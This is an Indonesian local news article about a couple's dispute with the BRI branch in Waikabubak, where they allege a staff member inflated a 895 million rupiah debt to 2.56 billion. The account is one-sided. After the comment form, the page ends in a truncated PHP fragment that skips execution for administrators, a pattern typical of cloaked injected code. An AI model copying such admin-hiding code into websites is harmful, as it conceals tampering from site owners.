Hukum

Nasabah Ngamuk di Kantor BRI Cabang Waikabubak, Utang Cuma 895 Juta “Disulap” Oknum Staf Bank Jadi 2,5 Miliar

×

Nasabah Ngamuk di Kantor BRI Cabang Waikabubak, Utang Cuma 895 Juta “Disulap” Oknum Staf Bank Jadi 2,5 Miliar

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM – Kantor Bank Rakyat Indonesia (BRI) Cabang Waikabubak jadi perhatian mata publik.

Amarah meluap nasabah yang tak terbendung menghentak suasana pelayanan dalam kantor dua lantai ini, Rabu (25/03/2026) kemarin.

Yosua Todo Nura Lele bersama istrinya Christina Meuz mengamuk setelah tidak bisa bertemu oknum staf BRI Cabang Waikabubak yang diduga melakukan manipulasi perjanjian pinjaman.

Oknum staf BRI Cabang Waikabubak bernama Tito (kemeja batik) enggan bertemu nasabah. ( Foto Menara Sumba )

Enam tahun suami istri ini harus menanggung setoran bulanan atas pinjaman yang disebut mencapai 2.560.000.000 (dua miliar lima ratus enam puluh juta rupiah).

Padahal tunggakan yang wajib dibayar angsuran bulanannya cuma 895 juta.

Ditunggu sejak pagi, oknum pegawai yang disebut bernama Tito ini mangkir hingga pukul 13.00 WITA lewat

Kendati sempat bertemu nasabah, Tito akhirnya kembali berulah tidak mau melanjutkan dialog dalam salah satu ruangan di lantai dua.

Kisruh bermula di tahun 2020 saat pinjaman kredit Moses Nura Lele, kakak Yosua Todo Nura Lele macet lantaran sang debitur sakit.

Akibatnya, rumah dan tanah yang dijadikan agunan hendak dilelang pihak BRI pada tahun itu karena Moses tak lagi mampu melunasi tunggakan utang yang mencapai 1.280.000.000 (satu miliar dua ratus delapan puluh juta rupiah).

Roya dan Dugaan Rekayasa Licik Oknum Staf

Pihak BRI dan Yosua pun bersepakat aset agunan tak jadi dilelang, namun dicarikan solusi lewat proses Roya yang kemudian menghapus utang Moses.

Tanah dan bangunan itu kemudian dibuatkan sertifikat baru atas nama Yosua Todo Nura Lele di depan notaris.

Konsekwensinya, utang Moses yang dihapus BRI jadi tanggungan Yosua dan untuk membuktikan kemampuannya ia wajib membayar uang muka sejumlah 320 juta.

Yosua Todo Nura Lele bersama keluarga saat mendatangi kantor BRI Cabang Waikabubak, Rabu (25/03/2026) lalu. ( Foto Menara Sumba )

Yosua menyanggupi dan mendapatkan uang sejumlah itu lewat pinjaman dengan agunan BPKB mobil.

Transaksi itu pun dilakukan pada 26 Mei 2020 dimana Yosua kembali menambahkan uang sejumlah 65 juta dari simpanan di rekeningnya.

Otomatis utang yang berjumlah 1.280.000.000 (satu miliar dua ratus delapan puluh juta rupiah) sudah dikurangi 230 juta dan dari simpanan rekening sejumlah 65 juta sehingga tersisa 895 juta.

“Tapi kemudian justru utang saya tetap berjumlah 1.280.000.000,” tutur Yosua.

Celakanya lagi, dokumen perjanjian pinjaman yang dibuat Tito justru membenam Yosua di kubangan utang yang lebih dalam.

Proses perjanjian pinjaman atas nama Yosua baru klaar pada 28 Mei 2020 jelang maghrib, dan kemudian utang sang kakak yang sudah dihapus ikut nimbrung dalam satu perjanjian pinjaman lain.

Oleh oknum staf BRI nakal ini pinjaman Moses yang ketika itu baru meninggal beberapa waktu “dibangkitkan” kembali.

“Akibatnya saya harus membayar dua angsuran yang totalnya 2.560.000.000,” kisahnya dengan nada kesal.

Tito, Hilang Kabar Kini Balik

Ia tidak menyadari trik licik ini karena tidak memeriksa lagi dokumen dalam map lantaran kelelahan seharian, dan harus buru-buru pulang untuk menghadiri ibadah misa arwah kakaknya.

Malamnya saat dokumen itu diperiksa baru ia tersadar jika telah diperdaya oleh oknum staf BRI bernama Tito ini

“Keesokan harinya, di pagi buta saya dan istri menuju kantor BRI Cabang Waikabubak untuk menuntaskan soal itu,” sebut Yosua.

Sayangnya, meski hari masih pagi dan kantor baru buka tapi Tito dan pimpinannya disebut sudah berada dalam perjalanan menuju tempat tugas baru.

Dihubungi lewat kontak handphone namun tidak lagi tersambung.

Upaya menyelesaikan soal ini selalu buntu karena pihak bank cuci tangan dan selalu beralasan bahwa hanya Tito yang bisa mengurus masalah itu.

“Karena itulah, ketika kami tahu bahwa ia sudah kembali bertugas di sini maka hari ini kami datang untuk bertemu dia,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>